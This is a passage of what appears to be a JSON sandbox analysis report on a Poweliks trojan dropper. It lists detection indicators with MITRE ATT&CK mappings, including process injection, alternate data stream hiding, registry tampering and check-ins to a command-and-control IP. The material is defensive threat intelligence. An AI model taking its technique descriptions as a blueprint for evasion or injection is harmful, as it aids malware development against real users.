Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify thread functionality - possible hijack (API string)","description":"Found reference to API \"GetThreadContext\" (Indicator: \"GetThreadContext\"; File: \"dropper.exe\")\n Found reference to API \"GetThreadContext\" (Indicator: \"GetThreadContext\"; Source: \"00000000-00005948.00000000.120684.00406000.00000040.mdmp, 00000000-00005948.00000000.120684.04D90000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":1,"id":"string-309","sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Section contains high entropy","description":"\"dropper.exe\" has section name .text with entropy \"6.714178534515431\"\n \"dropper.exe\" has section name .crt with entropy \"6.609751555059583\"","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"}]},{"level":"suspicious","category":"Cryptographic Related","name":"Contains ability to use Microsoft's Enhanced Cryptographic Provider","description":"Found api reference \"CryptEncrypt\" (Indicator: \"CryptEncrypt\"; Source: \"00000000-00005948.00000000.120684.03070000.00000004.mdmp\")\n Found api reference \"CryptExportKey\" (Indicator: \"CryptExportKey\"; Source: \"00000000-00005948.00000000.120684.03070000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573","relevance":2,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Found a string that may be used as part of an injection method","description":"\"Shell_TrayWnd\" (Taskbar window class may be used to inject into explorer with the SetWindowLong method) in Source: 00000000-00005948.00000000.120684.03850000.00000002.mdmp\n 00000000-00005948.00000001.122606.03850000.00000002.mdmp\n 00000000-00005948.00000002.124526.03850000.00000002.mdmp\n \"!Progman\" (Program manager) in Source: 00000000-00005948.00000000.120684.03850000.00000002.mdmp\n 00000000-00005948.00000001.122606.03850000.00000002.mdmp\n 00000000-00005948.00000002.124526.03850000.00000002.mdmp","origin":"File/Memory","mitre_attack_id":"T1055.011","relevance":4,"id":"string-4","sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 178.89.159.34 on port 80 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"}]},{"level":"suspicious","category":"Network Related","name":"Spawned process connects to a network","description":"Process \"C:\\dropper.exe\" connects to 178.89.159.34 on port 80 (TCP)","origin":"Monitored Target","mitre_attack_id":"T1071","relevance":5,"id":"target-412","sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"\"dropper.exe\" queried SystemProcessInformation at 00000000-00006836-00000C15-717675609 [PID: 6836]\n \"dropper.exe\" queried SystemProcessInformation at 00000000-00006836-00000C15-717694632 [PID: 6836]\n \"dropper.exe\" queried SystemProcessInformation at 00000000-00006836-00000C15-718091446 [PID: 6836]\n \"dropper.exe\" queried SystemProcessInformation at 00000000-00006836-00000C15-718098970 [PID: 6836]\n \"dropper.exe\" queried SystemProcessInformation at 00000000-00006836-00000C15-718471774 [PID: 6836]\n \"dropper.exe\" queried SystemProcessInformation at 00000000-00006836-00000C15-718479491 [PID: 6836]","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to import cryptographic keys (seen in ransomware)","description":"Found api reference \"CryptImportKey\" (Indicator: \"CryptImportKey\"; Source: \"00000000-00006836.00000001.112235.00610000.00000004.mdmp, 00000000-00006836.00000002.114156.00610000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-603","sources":[{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"Found api reference \"CryptEncrypt\" (Indicator: \"CryptEncrypt\"; Source: \"00000000-00006836.00000001.112235.00610000.00000004.mdmp, 00000000-00006836.00000002.114156.00610000.00000004.mdmp\")\n Found api reference \"CryptImportKey\" (Indicator: \"CryptImportKey\"; Source: \"00000000-00006836.00000001.112235.00610000.00000004.mdmp, 00000000-00006836.00000002.114156.00610000.00000004.mdmp\")\n Found api reference \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00006836.00000002.114156.00610000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00006836.00000002.114156.00610000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"Found string \":\\WINDOWS\\SYSTEM32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00006836.00000000.110313.00610000.00000004.mdmp, 00000000-00006836.00000001.112235.00610000.00000004.mdmp, 00000000-00006836.00000002.114156.00610000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system information (.NET)","description":"Found string \"etUserNameW\" (Source: \"00000000-00006836.00000000.110313.00610000.00000004.mdmp, 00000000-00006836.00000002.114156.00610000.00000004.mdmp\")\n Found string \"etUserNameA\" (Source: \"00000000-00006836.00000000.110313.00610000.00000004.mdmp, 00000000-00006836.00000001.112235.00610000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-937","sources":[{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"dropper.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00006836)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"dropper.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00006836)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"\"dropper.exe\" called \"RtlGetVersion\" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006836)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\"dropper.exe\" queries volume information of unknown location at 00000000-00006836-00000C17-718428697\n \"dropper.exe\" queries volume information of unknown location at 00000000-00006836-00000C17-718963719","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"\"dropper.exe\" called \"LoadLibrary\" with a parameter ntdll (UID: 00000000-00006836)\n \"dropper.exe\" called \"LoadLibrary\" with a parameter shlwapi (UID: 00000000-00006836)\n \"dropper.exe\" called \"LoadLibrary\" with a parameter user32 (UID: 00000000-00006836)","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$29","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"\"dropper.exe\" loaded module \"%WINDIR%\\TEMP\\VXOLE32.DLL\" at base 6fc40000\n \"dropper.exe\" loaded module \"KERNEL32.DLL\" at base 751b0000\n \"dropper.exe\" loaded module \"NTDLL\" at base 77080000\n \"dropper.exe\" loaded module \"SHLWAPI\" at base 74f40000\n \"dropper.exe\" loaded module \"USER32\" at base 76320000","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"dropper.exe\" queries basic process information of the \"C:\\dropper.exe\" (UID: 6836)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"\"dropper.exe\" trying to access non-existent file \"C:\\WINDOWS\\system32\\wow64log.dll\"\n \"dropper.exe\" trying to access non-existent file \"C:\\FLTLIB.DLL\"\n \"dropper.exe\" trying to access non-existent file \"C:\\CRYPTSP.DLL\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"dropper.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \"DriverData=C:\\Windows\\System32\\Drivers\\DriverData\" (Indicator: \"\\drivers\\\"; Source: \"00000000-00006836.00000000.110313.00610000.00000004.mdmp, 00000000-00006836.00000001.112235.00610000.00000004.mdmp, 00000000-00006836.00000002.114156.00610000.00000004.mdmp, 00000000-00006836.00000002.114156.00AC0000.00000004.mdmp\")\n Found string \"DriverData=C:\\Windows\\System32\\Drivers\\DriverData\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00006836.00000000.110313.00610000.00000004.mdmp, 00000000-00006836.00000001.112235.00610000.00000004.mdmp, 00000000-00006836.00000002.114156.00610000.00000004.mdmp, 00000000-00006836.00000002.114156.00AC0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"suspicious","category":"Environment Awareness","name":"Attempts to retrieve the system language code","description":"\"dropper.exe\" called \"NtQueryInstallUILanguage\" with parameters {\"LanguageId\": \"1033\"}","origin":"API Call","mitre_attack_id":"T1614.001","relevance":10,"id":"api-307","sources":[{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"suspicious","category":"Environment Awareness","name":"Queries process mitigation policy via NtQueryInformationProcess","description":"\"C:\\dropper.exe\" queried ProcessMitigationPolicy","origin":"API Call","mitre_attack_id":"T1497.001","relevance":1,"id":"api-323","sources":[{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted antivirus engine","description":"Trusted antivirus vendors count marked sample as malicious (count = 2)","origin":"External System","mitre_attack_id":"T1204.002","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"powershell.exe\" loaded module \"C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll\" at 69410000","origin":"Loaded Module","id":"module-3","sources":[{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Sets the process error mode to suppress error box","description":"\"\" set its error mode to SEM_NOOPENFILEERRORBOX","origin":"API Call","relevance":8,"id":"api-38","sources":[{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"rundll32.exe\" (Path: \"\\REGISTRY\\MACHINE\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\", Key: \"MACHINEGUID\")","origin":"Registry Access","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the windows installation date","description":"\"powershell.exe\" (Path: \"\\REGISTRY\\MACHINE\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\", Key: \"INSTALLDATE\")","origin":"Registry Access","relevance":10,"id":"registry-13","sources":[{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"rundll32.exe\" (Access type: \"DELETEVAL\", Path: \"\\REGISTRY\\USER\\S-1-5-21-4162757579-3804539371-4239455898-1000\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\", Key: \"PROXYBYPASS\")\n \"rundll32.exe\" (Access type: \"DELETEVAL\", Path: \"\\REGISTRY\\MACHINE\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\", Key: \"PROXYBYPASS\")","origin":"Registry Access","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"}]},{"level":"suspicious","category":"System Security","name":"Queries sensitive IE security settings","description":"\"rundll32.exe\" (Path: \"\\REGISTRY\\USER\\S-1-5-21-4162757579-3804539371-4239455898-1000\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\", Key: \"DISABLESECURITYSETTINGSCHECK\")\n \"rundll32.exe\" (Path: \"\\REGISTRY\\MACHINE\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\", Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"level":"suspicious","category":"System Security","name":"Queries the display settings of system associated file extensions","description":"\"powershell.exe\" (Access type: \"QUERYVAL\", Path: \"\\REGISTRY\\MACHINE\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.LNK\", Key: \"ALWAYSSHOWEXT\")","origin":"Registry Access","relevance":7,"id":"registry-47","sources":[{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Creates a resource fork (ADS) file (often used to hide data)","description":"\"\" created file \"Z:\\4727b7ea70d0fc00f96a28de7fa3d97fa9d0b253bd63ae54fbbf0bd0c8b766bb:0\"","origin":"API Call","relevance":8,"id":"api-19","sources":[{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Queries/modifies the internet cache settings (often used to hide footprints in index.dat or internet cache)","description":"$2a","origin":"Registry Access","relevance":3,"id":"registry-29","sources":[{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"}]},{"level":"malicious","category":"Exploit/Shellcode","name":"Writes shellcode to a remote process","description":"Wrote 262 instructions to foreign process \"dllhost.exe\" (UID: 01045453-00000572)\n Wrote 69 instructions to foreign process \"dllhost.exe\" (UID: 01045453-00000572)","origin":"Hybrid Analysis Technology","relevance":8,"id":"stream-38","sources":[{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"}]},{"level":"malicious","category":"Installation/Persistance","name":"Allocates virtual memory in foreign process","description":"\"\" allocated 00001500 bytes of memory in \"rundll32.exe\" (Protection: \"read/write\")\n \"\" allocated 00000088 bytes of memory in \"rundll32.exe\" (Protection: \"read/write\")\n \"\" allocated 00000088 bytes of memory in \"4727b7ea70d0fc00f96a28de7fa3d97fa9d0b253bd63ae54fbbf0bd0c8b766bb:0\" (Protection: \"read/write\")","origin":"API Call","relevance":7,"id":"api-20","sources":[{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"}]},{"level":"malicious","category":"Installation/Persistance","name":"Writes a PE file header to disc","description":"\"\" wrote 65536 bytes starting with PE header signature to file \"C:\\share\\4727b7ea70d0fc00f96a28de7fa3d97fa9d0b253bd63ae54fbbf0bd0c8b766bb:0\": 4d5a90000300000004000000ffff0000b8000000000000004000000000000000000000000000000000000000000000000000 ...","origin":"API Call","relevance":1,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"}]},{"level":"malicious","category":"Installation/Persistance","name":"Writes data to a remote process","description":"\"\" wrote 1500 bytes to a foreign process \"rundll32.exe\" (PID: 00003576)\n \"\" wrote 4 bytes to a foreign process \"rundll32.exe\" (PID: 00003576)\n \"\" wrote 32 bytes to a foreign process \"rundll32.exe\" (PID: 00003576)\n \"\" wrote 52 bytes to a foreign process \"rundll32.exe\" (PID: 00003576)\n \"\" wrote 32 bytes to a foreign process \"4727b7ea70d0fc00f96a28de7fa3d97fa9d0b253bd63ae54fbbf0bd0c8b766bb:0\" (PID: 00003044)\n \"\" wrote 52 bytes to a foreign process \"4727b7ea70d0fc00f96a28de7fa3d97fa9d0b253bd63ae54fbbf0bd0c8b766bb:0\" (PID: 00003044)\n \"\" wrote 4 bytes to a foreign process \"4727b7ea70d0fc00f96a28de7fa3d97fa9d0b253bd63ae54fbbf0bd0c8b766bb:0\" (PID: 00003044)","origin":"API Call","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"}]},{"level":"malicious","category":"System Security","name":"Queries/modifies the display settings of system associated file extensions","description":"\"powershell.exe\" (Access type: \"QUERYVAL\", Path: \"\\REGISTRY\\MACHINE\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.LNK\", Key: \"ALWAYSSHOWEXT\")","origin":"Registry Access","relevance":7,"id":"registry-28","sources":[{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Checks for a resource fork (ADS) file","description":"\"\" checked file \"Z:\\4727b7ea70d0fc00f96a28de7fa3d97fa9d0b253bd63ae54fbbf0bd0c8b766bb:0\"","origin":"API Call","relevance":5,"id":"api-35","sources":[{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"\"\" touched file \"%WINDIR%\\Globalization\\Sorting\\sortdefault.nls\"\n \"\" touched file \"%APPDATA%\\Microsoft\\Windows\\Cookies\"\n \"\" touched file \"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat\"\n \"\" touched file \"C:\\Users\\6KQ0tOq\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat\"\n \"\" touched file \"%WINDIR%\\system32\\scrrun.dll\"\n \"\" touched file \"%WINDIR%\\System32\\scrrun.dll\"","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries kernel debugger information","description":"\"rundll32.exe\" at 00037132-00003592-00000105-85810985","origin":"API Call","relevance":6,"id":"api-10","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"level":"suspicious","category":"General","name":"POSTs files to a webserver","description":"\"POST /q HTTP/1.0\nHost: 178.89.159.34\nConnection: close\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 78\" with no payload","origin":"Network Traffic","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"level":"malicious","category":"External Systems","name":"Detected Emerging Threats Alert","description":"Detected alert \"ETPRO TROJAN Win32/Poweliks.A Checkin\" (SID: 2808248, Rev: 2, Severity: 1) categorized as \"A Network Trojan was detected\" (Backdoor, ransomware, trojans, etc.)","origin":"Suricata Alerts","relevance":10,"id":"suricata-2","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]}],"incidents":[{"name":"Persistence","details_count":1,"details":[{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"}],"sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"},{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"name":"Fingerprint","details_count":1,"details":[{"detail":"Reads the active computer name"}],"sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"},{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"name":"Spyware","details_count":1,"details":[{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]}],"intel_graph":{"map":{"File:4727b7ea70d0fc00f96a28de7fa3d97fa9d0b253bd63ae54fbbf0bd0c8b766bb":{"type":"File","value":"4727b7ea70d0fc00f96a28de7fa3d97fa9d0b253bd63ae54fbbf0bd0c8b766bb","verdict":{"verdict":"malicious","verdict_source":"ClamAV Antivirus","reasons":["File reported as trojan by ClamAV antivirus"]},"filetype":"PE32 executable (GUI) Intel 80386, for MS Windows, 6 sections","filetype_short":"PE32","mime_type":"application/x-dosexec"},"File:6b8a4cda1df63271f711df41f3c7ce25fe6fe034e39f4b8af5852c0b0e49cae2":{"type":"File","value":"6b8a4cda1df63271f711df41f3c7ce25fe6fe034e39f4b8af5852c0b0e49cae2"},"File:efb8f29cf9c60709daa059d292e0b57459c957434bd8f349dd97935e0d0cc26a":{"type":"File","value":"efb8f29cf9c60709daa059d292e0b57459c957434bd8f349dd97935e0d0cc26a"},"Ip:178.89.159.34":{"type":"Ip","value":"178.89.159.34"},"Ip:178.89.159.35":{"type":"Ip","value":"178.89.159.35"},"Url:/q":{"type":"Url","value":"/q"}},"chains":[{"id":"1550592509973025913","root":"File:4727b7ea70d0fc00f96a28de7fa3d97fa9d0b253bd63ae54fbbf0bd0c8b766bb","edges":[],"verdict":{"verdict":"malicious","verdict_source":"ClamAV Antivirus","reasons":["File reported as trojan by ClamAV antivirus"]}},{"id":"sandbox_network","root":"File:4727b7ea70d0fc00f96a28de7fa3d97fa9d0b253bd63ae54fbbf0bd0c8b766bb","edges":[{"edge_kind":"contacted_ip","from_key":"File:4727b7ea70d0fc00f96a28de7fa3d97fa9d0b253bd63ae54fbbf0bd0c8b766bb","to_key":"Ip:178.89.159.34"},{"edge_kind":"contacted_ip","from_key":"File:4727b7ea70d0fc00f96a28de7fa3d97fa9d0b253bd63ae54fbbf0bd0c8b766bb","to_key":"Ip:178.89.159.35"},{"edge_kind":"contacted_url","from_key":"File:4727b7ea70d0fc00f96a28de7fa3d97fa9d0b253bd63ae54fbbf0bd0c8b766bb","to_key":"Url:/q"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}},{"id":"sandbox_files","root":"File:4727b7ea70d0fc00f96a28de7fa3d97fa9d0b253bd63ae54fbbf0bd0c8b766bb","edges":[{"edge_kind":"extracted","from_key":"File:4727b7ea70d0fc00f96a28de7fa3d97fa9d0b253bd63ae54fbbf0bd0c8b766bb","to_key":"File:6b8a4cda1df63271f711df41f3c7ce25fe6fe034e39f4b8af5852c0b0e49cae2"},{"edge_kind":"extracted","from_key":"File:4727b7ea70d0fc00f96a28de7fa3d97fa9d0b253bd63ae54fbbf0bd0c8b766bb","to_key":"File:efb8f29cf9c60709daa059d292e0b57459c957434bd8f349dd97935e0d0cc26a"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":5,"spawned_processes_count":5,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":30,"imported_dlls_count":163,"dropped_files_count":0,"extracted_files_count":2,"files_written_count":107,"files_deleted_count":0,"registry_keys_created_count":10,"registry_keys_modified_count":0,"registry_keys_deleted_count":4,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":14,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":2,"dns_resolutions_count":0,"contacted_urls_count":1,"http_requests_count":1},"behavior_tags":["criminal","poweliks","fileless","downloader","wowlik","botnet","expiro","lockscreen","neshta","powessere","tiggre","viking","virut","evasive"],"sample_flags":["Network Traffic","Extracted Files","Sample not shared","Multi-Process","TOR analysis"],"sandbox_reports":[{"id":"6a97c9f8f524aa3517056266","environment_id":140,"environment_description":"Windows 11 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.Poweliks","submit_name":"dropper.exe","analysis_start_time":"2026-09-02T07:02:17+00:00","indicators_count":{"informative":62,"suspicious":8,"malicious":3},"is_in_unified_schema":true},{"id":"6891eaa2014d64d59d01f144","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["KAZ"],"submit_name":"dropper.exe","analysis_start_time":"2025-08-05T11:27:31+00:00","indicators_count":{"informative":51,"suspicious":9,"malicious":1},"tags":["Network Traffic"],"is_in_unified_schema":true},{"id":"667acd7eeefdfb52990cc775","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"submit_name":"dropper.exe","analysis_start_time":"2024-06-25T14:00:30+00:00","indicators_count":{"informative":54,"suspicious":6,"malicious":1},"is_in_unified_schema":false},{"id":"5f3b435a0de25b40a63f6702","environment_id":120,"environment_description":"Windows 7 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":99,"malware_family":"Trojan.Poweliks","contacted_countries":["KAZ"],"submit_name":"dropper.ex_","analysis_start_time":"2020-08-18T02:56:32+00:00","indicators_count":{"informative":17,"suspicious":24,"malicious":8},"tags":["Multi-Process","Network Traffic","Extracted Files","Sample Crashed"],"is_in_unified_schema":false},{"id":"58011cb1aac2ed9a0b8d7d7f","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.Poweliks","contacted_countries":["KAZ"],"submit_name":"dropper.ex_","analysis_start_time":"2019-02-15T16:35:37+00:00","indicators_count":{"informative":21,"suspicious":28,"malicious":9},"tags":["Multi-Process","Network Traffic","Extracted Files","TOR analysis"],"is_in_unified_schema":true},{"id":"56f0cbfdaac2ed9c210b443e","environment_id":4,"environment_description":"Windows 7 32 bit - Kernelmode Monitor","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.Poweliks","contacted_countries":["KAZ"],"submit_name":"poewliks.exe","analysis_start_time":"2016-03-21T23:37:31+00:00","indicators_count":{"informative":6,"suspicious":19,"malicious":5},"tags":["Network Traffic","Extracted Files"],"is_in_unified_schema":true},{"id":"55d40aaf0e316d5c2d4ac54c","environment_id":1,"environment_description":"Windows 7 32 bit (EN)","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.Poweliks","contacted_countries":["KAZ"],"submit_name":"4727b7ea70d0fc0.exe","analysis_start_time":"2015-08-18T23:49:37+00:00","indicators_count":{"informative":5,"suspicious":24,"malicious":12},"tags":["Network Traffic","Extracted 